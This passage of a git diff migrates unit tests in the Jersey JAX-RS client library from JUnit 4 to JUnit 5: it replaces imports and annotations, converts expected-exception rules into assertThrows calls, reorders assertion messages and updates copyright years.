("{0}") property MUST be an instance of String or URI. diff --git a/core-client/src/test/java/org/glassfish/jersey/client/AutoDiscoverableClientTest.java b/core-client/src/test/java/org/glassfish/jersey/client/AutoDiscoverableClientTest.java index e158a0782c7..d228409c8d5 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/AutoDiscoverableClientTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/AutoDiscoverableClientTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -35,12 +35,11 @@ import org.glassfish.jersey.CommonProperties; import org.glassfish.jersey.internal.spi.AutoDiscoverable; import org.glassfish.jersey.internal.util.PropertiesHelper; - -import org.junit.Ignore; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Note: Auto-discoverables from this test "affects" all other tests in suit. @@ -171,7 +170,7 @@ public void testAutoDiscoverableGlobalEnabledServerDisabled() throws Exception { * {@link jakarta.ws.rs.core.Feature} will be notified when {@link jakarta.ws.rs.client.Client#close()} is invoked. */ @Test - @Ignore("intermittent failures.") + @Disabled("intermittent failures.") public void testAutoDiscoverableClosing() { final ClientConfig config = new ClientConfig(); config.property(PROPERTY, true); @@ -180,12 +179,12 @@ public void testAutoDiscoverableClosing() { assertFalse(FooLifecycleListener.isClosed()); client.getConfiguration().getRuntime(); // force runtime init - assertTrue("FooLifecycleListener was expected to be already initialized.", FooLifecycleListener.isInitialized()); - assertFalse("FooLifecycleListener was not expected to be closed yet.", FooLifecycleListener.isClosed()); + assertTrue(FooLifecycleListener.isInitialized(), "FooLifecycleListener was expected to be already initialized."); + assertFalse(FooLifecycleListener.isClosed(), "FooLifecycleListener was not expected to be closed yet."); client.close(); - assertTrue("FooLifecycleListener should have been closed.", FooLifecycleListener.isClosed()); + assertTrue(FooLifecycleListener.isClosed(), "FooLifecycleListener should have been closed."); } private void _test(final String response, final Boolean globalDisable, final Boolean clientDisable) throws Exception { diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java index d2179f67e24..d2ede282154 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -29,18 +29,19 @@ import org.glassfish.jersey.internal.util.collection.UnsafeValue; -import org.junit.After; -import org.junit.AfterClass; -import org.junit.Before; -import org.junit.BeforeClass; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertNotSame; -import static org.junit.Assert.assertNull; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNotSame; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; /** * {@link ClientConfig} unit test. @@ -52,19 +53,19 @@ public class ClientConfigTest { public ClientConfigTest() { } - @BeforeClass + @BeforeAll public static void setUpClass() throws Exception { } - @AfterClass + @AfterAll public static void tearDownClass() throws Exception { } - @Before + @BeforeEach public void setUp() { } - @After + @AfterEach public void tearDown() { } @@ -118,7 +119,7 @@ public void testGetProperty() { } @Provider - public class MyProvider implements ContextResolver { + public static class MyProvider implements ContextResolver { @Override public String getContext(final Class type) { @@ -187,16 +188,20 @@ public void testGetFeatures() { assertTrue(runtimeConfig.isEnabled(emptyFeature)); } - @Test(expected = UnsupportedOperationException.class) + @Test public void testGetProviderClasses() { - ClientConfig instance = new ClientConfig(); - instance.getClasses().add(ClientConfigTest.class); + assertThrows(UnsupportedOperationException.class, () -> { + ClientConfig instance = new ClientConfig(); + instance.getClasses().add(ClientConfigTest.class); + }); } - @Test(expected = UnsupportedOperationException.class) + @Test public void testGetProviderInstances() { - ClientConfig instance = new ClientConfig(); - instance.getInstances().add(this); + assertThrows(UnsupportedOperationException.class, () -> { + ClientConfig instance = new ClientConfig(); + instance.getInstances().add(this); + }); } @Test diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java index 960443879f2..1f7de346267 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -32,19 +32,20 @@ import org.glassfish.jersey.message.MessageBodyWorkers; import org.hamcrest.core.Is; -import org.junit.After; -import org.junit.Assert; -import org.junit.Before; -import org.junit.Test; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; import org.mockito.Mock; import org.mockito.Mockito; import org.mockito.MockitoAnnotations; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertNull; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; import static org.mockito.Matchers.any; import static org.mockito.Matchers.same; @@ -63,12 +64,12 @@ public class ClientRequestTest { private AutoCloseable mockito; - @Before + @BeforeEach public void initMocks() { mockito = MockitoAnnotations.openMocks(this); } - @After + @AfterEach public void closeMocks() throws Exception { mockito.close(); } @@ -190,7 +191,7 @@ public void testSSLExceptionHandling() request.doWriteEntity(workers, entityType); fail("An IOException exception should be thrown."); } catch (IOException e) { - Assert.assertThat("Detected a un-expected exception! \n" + ExceptionUtils.exceptionStackTraceAsString(e), + MatcherAssert.assertThat("Detected a un-expected exception! \n" + ExceptionUtils.exceptionStackTraceAsString(e), e, Is.is(ioException)); } } @@ -205,9 +206,9 @@ public void testRuntimeExceptionBeingReThrown() try { request.doWriteEntity(workers, entityType); - Assert.fail("A RuntimeException exception should be thrown."); + Assertions.fail("A RuntimeException exception should be thrown."); } catch (RuntimeException e) { - Assert.assertThat("Detected a un-expected exception! \n" + ExceptionUtils.exceptionStackTraceAsString(e), + MatcherAssert.assertThat("Detected a un-expected exception! \n" + ExceptionUtils.exceptionStackTraceAsString(e), e, Is.is(runtimeException)); } } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientResponseTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientResponseTest.java index 54726cd12ac..4a151c7f3c0 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/ClientResponseTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientResponseTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,8 +17,8 @@ package org.glassfish.jersey.client; import org.glassfish.jersey.message.internal.InboundMessageContext; -import org.junit.Assert; -import org.junit.Test; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.client.ClientBuilder; import jakarta.ws.rs.client.ClientRequestFilter; @@ -37,27 +37,27 @@ protected Iterable getReaderInterceptors() { } }; - Assert.assertFalse(inboundMessageContext.hasEntity()); + Assertions.assertFalse(inboundMessageContext.hasEntity()); inboundMessageContext.bufferEntity(); - Assert.assertFalse(inboundMessageContext.hasEntity()); + Assertions.assertFalse(inboundMessageContext.hasEntity()); } @Test public void testHasEntity() { final ClientRequestFilter abortFilter = requestContext -> requestContext.abortWith(Response.ok("hello").build()); try (Response r = ClientBuilder.newClient().register(abortFilter).target("http://localhost:8080").request().get()) { - Assert.assertTrue(r.hasEntity()); + Assertions.assertTrue(r.hasEntity()); r.bufferEntity(); - Assert.assertTrue(r.hasEntity()); + Assertions.assertTrue(r.hasEntity()); final String s = r.readEntity(String.class); - Assert.assertTrue(r.hasEntity()); + Assertions.assertTrue(r.hasEntity()); final InputStream bufferedEntityStream = r.readEntity(InputStream.class); - Assert.assertNotNull(bufferedEntityStream); - Assert.assertTrue(r.hasEntity()); + Assertions.assertNotNull(bufferedEntityStream); + Assertions.assertTrue(r.hasEntity()); } } } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientRxTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientRxTest.java index 8efd74c4520..5ffc9407e01 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/ClientRxTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientRxTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -47,14 +47,13 @@ import org.glassfish.jersey.spi.ExecutorServiceProvider; import org.hamcrest.core.AllOf; import org.hamcrest.core.StringContains; -import org.junit.After; -import org.junit.AfterClass; -import org.junit.Rule; -import org.junit.Test; -import org.junit.rules.ExpectedException; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Sanity test for {@link Invocation.Builder#rx()} methods. @@ -75,16 +74,13 @@ public ClientRxTest() { CLIENT_WITH_EXECUTOR = ClientBuilder.newBuilder().executorService(EXECUTOR_SERVICE).build(); } - @Rule - public ExpectedException thrown = ExpectedException.none(); - - @After + @AfterEach public void afterTest() { CLIENT.close(); CLIENT_WITH_EXECUTOR.close(); } - @AfterClass + @AfterAll public static void afterClass() { EXECUTOR_SERVICE.shutdownNow(); } @@ -96,7 +92,7 @@ public void testRxInvoker() { String s = target(CLIENT).request().rx(TestRxInvoker.class).get(); - assertTrue("Provided RxInvoker was not used.", s.startsWith("rxTestInvoker")); + assertTrue(s.startsWith("rxTestInvoker"), "Provided RxInvoker was not used."); } @Test @@ -104,8 +100,8 @@ public void testRxInvokerWithExecutor() { // implicit register (not saying that the contract is RxInvokerProvider). String s = target(CLIENT_WITH_EXECUTOR).register(TestRxInvokerProvider.class).request().rx(TestRxInvoker.class).get(); - assertTrue("Provided RxInvoker was not used.", s.startsWith("rxTestInvoker")); - assertTrue("Executor Service was not passed to RxInvoker", s.contains("rxTest-")); + assertTrue(s.startsWith("rxTestInvoker"), "Provided RxInvoker was not used."); + assertTrue(s.contains("rxTest-"), "Executor Service was not passed to RxInvoker"); } @Test @@ -119,7 +115,7 @@ public void testDefaultRxInvokerWithExecutor() throws ExecutionException, Interr .request().rx().get().toCompletableFuture().get()) { assertEquals(200, r.getStatus()); - assertTrue("Executor Service was not passed to RxInvoker", threadName.get().contains("rxTest-")); + assertTrue(threadName.get().contains("rxTest-"), "Executor Service was not passed to RxInvoker"); } } @@ -131,8 +127,8 @@ public void testRxInvokerWithExecutorServiceProvider() { .register(TestExecutorServiceProvider.class) .request().rx(TestRxInvoker.class).get(); - assertTrue("Provided RxInvoker was not used.", s.startsWith("rxTestInvoker")); - assertTrue("Executor Service was not passed to RxInvoker", s.contains("rxTest-")); + assertTrue(s.startsWith("rxTestInvoker"), "Provided RxInvoker was not used."); + assertTrue(s.contains("rxTest-"), "Executor Service was not passed to RxInvoker"); } @Test @@ -147,27 +143,33 @@ public void testDefaultRxInvokerWithExecutorServiceProvider() throws ExecutionEx .request().rx().get().toCompletableFuture().get()) { assertEquals(200, r.getStatus()); - assertTrue("Executor Service was not passed to RxInvoker", threadName.get().contains("rxTest-")); + assertTrue(threadName.get().contains("rxTest-"), "Executor Service was not passed to RxInvoker"); } } @Test public void testRxInvokerInvalid() { - Invocation.Builder request = target(CLIENT).request(); - thrown.expect(IllegalArgumentException.class); - thrown.expectMessage(AllOf.allOf(new StringContains("null"), new StringContains("clazz"))); - request.rx(null).get(); + IllegalArgumentException exception = Assertions.assertThrows(IllegalArgumentException.class, () -> { + Invocation.Builder request = target(CLIENT).request(); + request.rx(null).get(); + }); + String message = exception.getMessage(); + Assertions.assertTrue(AllOf.allOf(new StringContains("null"), new StringContains("clazz")).matches(message)); } @Test public void testRxInvokerNotRegistered() { - Invocation.Builder request = target(CLIENT).request(); - thrown.expect(IllegalStateException.class); - thrown.expectMessage(AllOf.allOf( - new StringContains("TestRxInvoker"), - new StringContains("not registered"), - new StringContains("RxInvokerProvider"))); - request.rx(TestRxInvoker.class).get(); + IllegalStateException exception = Assertions.assertThrows(IllegalStateException.class, () -> { + Invocation.Builder request = target(CLIENT).request(); + request.rx(TestRxInvoker.class).get(); + }); + String message = exception.getMessage(); + Assertions.assertTrue(AllOf.allOf( + new StringContains("TestRxInvoker"), + new StringContains("not registered"), + new StringContains("RxInvokerProvider")) + .matches(message)); + } @Test @@ -258,8 +260,8 @@ public void testRxInvokerWithPriorityExecutorServiceProvider() { .register(PriorityTestExecutorServiceProvider.class) .request().rx(PriorityTestRxInvoker.class).get(); - assertTrue("Provided RxInvoker was not used.", s.startsWith("PriorityTestRxInvoker")); - assertTrue("@ClientAsyncExecutor Executor Service was not passed to RxInvoker", s.contains("TRUE")); + assertTrue(s.startsWith("PriorityTestRxInvoker"), "Provided RxInvoker was not used."); + assertTrue(s.contains("TRUE"), "@ClientAsyncExecutor Executor Service was not passed to RxInvoker"); } @ClientAsyncExecutor diff --git a/core-client/src/test/java/org/glassfish/jersey/client/CustomConnectorTest.java b/core-client/src/test/java/org/glassfish/jersey/client/CustomConnectorTest.java index 86f27363ca8..ea039b710e5 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/CustomConnectorTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/CustomConnectorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -34,10 +34,10 @@ import org.glassfish.jersey.client.spi.Connector; import org.glassfish.jersey.client.spi.ConnectorProvider; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.equalTo; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author Pavel Bucek diff --git a/core-client/src/test/java/org/glassfish/jersey/client/DefaultSslContextProviderTest.java b/core-client/src/test/java/org/glassfish/jersey/client/DefaultSslContextProviderTest.java index d0ef2bdf2a2..973637b78ae 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/DefaultSslContextProviderTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/DefaultSslContextProviderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -26,10 +26,10 @@ import org.glassfish.jersey.internal.util.collection.UnsafeValue; import org.glassfish.jersey.internal.util.collection.Values; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author Pavel Bucek diff --git a/core-client/src/test/java/org/glassfish/jersey/client/FixedBoundaryParserTest.java b/core-client/src/test/java/org/glassfish/jersey/client/FixedBoundaryParserTest.java index 16b956f150f..326a3f4c637 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/FixedBoundaryParserTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/FixedBoundaryParserTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,9 +20,9 @@ import java.io.IOException; import java.io.InputStream; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNull; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; /** * Tests several parsing use-cases of ChunkedInput diff --git a/core-client/src/test/java/org/glassfish/jersey/client/FixedMultiBoundaryParserTest.java b/core-client/src/test/java/org/glassfish/jersey/client/FixedMultiBoundaryParserTest.java index 936d6a46d03..1c8f0b4065f 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/FixedMultiBoundaryParserTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/FixedMultiBoundaryParserTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -20,9 +20,9 @@ import java.io.IOException; import java.io.InputStream; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNull; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; /** * Tests several parsing use-cases of ChunkedInput diff --git a/core-client/src/test/java/org/glassfish/jersey/client/HttpUrlConnectorTest.java b/core-client/src/test/java/org/glassfish/jersey/client/HttpUrlConnectorTest.java index 52041442a5a..4199f4f1e0d 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/HttpUrlConnectorTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/HttpUrlConnectorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -46,10 +46,10 @@ import org.glassfish.jersey.client.internal.HttpUrlConnector; -import org.junit.Assert; -import org.junit.Ignore; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Various tests for the default client connector. @@ -69,7 +69,7 @@ public class HttpUrlConnectorTest { * TODO: fix and re-enable the test, it could give java.net.NoRouteToHostException in certain environments instead of timeout exception */ @Test - @Ignore + @Disabled public void testConnectionTimeoutWithEntity() { _testInvocationTimeout(createNonRoutableTarget().request().buildPost(Entity.text("does not matter"))); } @@ -79,7 +79,7 @@ public void testConnectionTimeoutWithEntity() { * TODO: see above, rewrite server part, the "non-routable" target solution is fragile */ @Test - @Ignore + @Disabled public void testConnectionTimeoutNoEntity() { _testInvocationTimeout(createNonRoutableTarget().request().buildGet()); } @@ -408,21 +408,19 @@ private void _testInvocationTimeout(Invocation invocation) { try { invocation.invoke(); - Assert.fail("Timeout expected!"); + Assertions.fail("Timeout expected!"); } catch (Exception ex) { - Assert.assertTrue(String.format("Bad exception, %s, caught! Timeout expected.", ex.getCause()), - ex.getCause() instanceof SocketTimeoutException); + Assertions.assertTrue(ex.getCause() instanceof SocketTimeoutException, + String.format("Bad exception, %s, caught! Timeout expected.", ex.getCause())); final long stop = System.currentTimeMillis(); long time = stop - start; - Assert.assertTrue( - String.format( - "Actual time, %d ms, should not be more than twice as longer as the original timeout, %d ms", - time, TimeoutBASE), - time < 2 * TimeoutBASE); + Assertions.assertTrue(time < 2 * TimeoutBASE, + String.format("Actual time, %d ms, should not be more than twice as longer as the original timeout, %d ms", + time, TimeoutBASE)); } } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/JaxRsFeatureRegistrationClientTest.java b/core-client/src/test/java/org/glassfish/jersey/client/JaxRsFeatureRegistrationClientTest.java index f56bc26d9e9..1d1583b52e5 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/JaxRsFeatureRegistrationClientTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/JaxRsFeatureRegistrationClientTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -17,7 +17,7 @@ package org.glassfish.jersey.client; import org.glassfish.jersey.CommonProperties; -import org.junit.Test; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.client.Client; import jakarta.ws.rs.client.ClientBuilder; @@ -27,8 +27,8 @@ import jakarta.ws.rs.core.FeatureContext; import jakarta.ws.rs.core.Response; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; public class JaxRsFeatureRegistrationClientTest { diff --git a/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientBuilderTest.java b/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientBuilderTest.java index 31211b231ee..c79ce08e538 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientBuilderTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientBuilderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,10 +16,9 @@ package org.glassfish.jersey.client; -import org.junit.Before; -import org.junit.Rule; -import org.junit.Test; -import org.junit.rules.ExpectedException; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; import jakarta.annotation.Priority; import javax.net.ssl.SSLContext; @@ -40,11 +39,12 @@ import java.util.concurrent.TimeUnit; import static org.hamcrest.CoreMatchers.equalTo; -import static org.junit.Assert.assertNotSame; -import static org.junit.Assert.assertNull; -import static org.junit.Assert.assertSame; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.fail; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertNotSame; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertSame; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.fail; /** * {@link JerseyClient} unit test. @@ -54,12 +54,9 @@ */ public class JerseyClientBuilderTest { - @Rule - public final ExpectedException exception = ExpectedException.none(); - private JerseyClientBuilder builder; - @Before + @BeforeEach public void setUp() { builder = new JerseyClientBuilder(); } @@ -128,10 +125,10 @@ public void testOverridingSslConfig() throws KeyStoreException, NoSuchAlgorithmE Client client; client = new JerseyClientBuilder().keyStore(ks, "qwerty").sslContext(ctx).build(); - assertSame("SSL context not the same as set in the client builder.", ctx, client.getSslContext()); + assertSame(ctx, client.getSslContext(), "SSL context not the same as set in the client builder."); client = new JerseyClientBuilder().sslContext(ctx).trustStore(ks).build(); - assertNotSame("SSL context not overridden in the client builder.", ctx, client.getSslContext()); + assertNotSame(ctx, client.getSslContext(), "SSL context not overridden in the client builder."); } @Priority(2) @@ -234,7 +231,7 @@ public void testRegisterNullMap() { assertNull(contracts); } - @Test(expected = Test.None.class) //no exception shall be thrown + @Test public void testRegisterIrrelevantImmutableContractsMap() { final ClientBuilder clientBuilder = ClientBuilder.newBuilder(); final Map, Integer> contracts = new HashMap<>(); @@ -251,17 +248,19 @@ public void testRegisterIrrelevantImmutableContractsMap() { @Test public void testNegativeConnectTimeout() { - ClientBuilder clientBuilder = ClientBuilder.newBuilder(); + Assertions.assertThrows(IllegalArgumentException.class, () -> { + ClientBuilder clientBuilder = ClientBuilder.newBuilder(); - exception.expect(IllegalArgumentException.class); - clientBuilder.connectTimeout(-1, TimeUnit.SECONDS); + clientBuilder.connectTimeout(-1, TimeUnit.SECONDS); + }); } @Test public void testNegativeReadTimeout() { - ClientBuilder clientBuilder = ClientBuilder.newBuilder(); + Assertions.assertThrows(IllegalArgumentException.class, () -> { + ClientBuilder clientBuilder = ClientBuilder.newBuilder(); - exception.expect(IllegalArgumentException.class); - clientBuilder.readTimeout(-1, TimeUnit.SECONDS); + clientBuilder.readTimeout(-1, TimeUnit.SECONDS); + }); } } diff --git a/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java b/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java index 58ac48ddda1..a985579643b 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/JerseyClientTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -42,14 +42,15 @@ import org.glassfish.jersey.internal.Version; import org.glassfish.jersey.internal.inject.AbstractBinder; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; /** * {@link JerseyClient} unit test. @@ -63,12 +64,12 @@ public class JerseyClientTest { public JerseyClientTest() { } - @Before + @BeforeEach public void setUp() { this.client = (JerseyClient) ClientBuilder.newClient(); } - @After + @AfterEach public void tearDown() { } @@ -114,9 +115,9 @@ public void testTarget() { assertEquals(client.getConfiguration(), target.getConfiguration()); } - @Test(expected = IllegalArgumentException.class) + @Test public void testTargetIAE() { - final UriBuilder uriBuilder = UriBuilder.fromUri(":xxx:8080//yyy:90090//jaxrs "); + assertThrows(IllegalArgumentException.class, () -> UriBuilder.fromUri(":xxx:8080//yyy:90090//jaxrs ")); } public static class TestProvider implements ReaderInterceptor { @@ -271,8 +272,12 @@ protected void configure() { } public static class CustomProvider implements ClientRequestFilter { + private final CustomContract customContract; + @Inject - private CustomContract customContract; + CustomProvider(CustomContract customContract) { + this.customContract = customContract; + } @Override public void filter(ClientRequestContext requestContext) throws IOException { diff --git a/core-client/src/test/java/org/glassfish/jersey/client/JerseyCompletionStageRxInvokerTest.java b/core-client/src/test/java/org/glassfish/jersey/client/JerseyCompletionStageRxInvokerTest.java index c898ae0163f..515bb838232 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/JerseyCompletionStageRxInvokerTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/JerseyCompletionStageRxInvokerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -31,10 +31,10 @@ import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler; import org.hamcrest.Matcher; -import org.junit.After; -import org.junit.Before; -import org.junit.Ignore; -import org.junit.Test; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.not; @@ -48,7 +48,7 @@ public class JerseyCompletionStageRxInvokerTest { 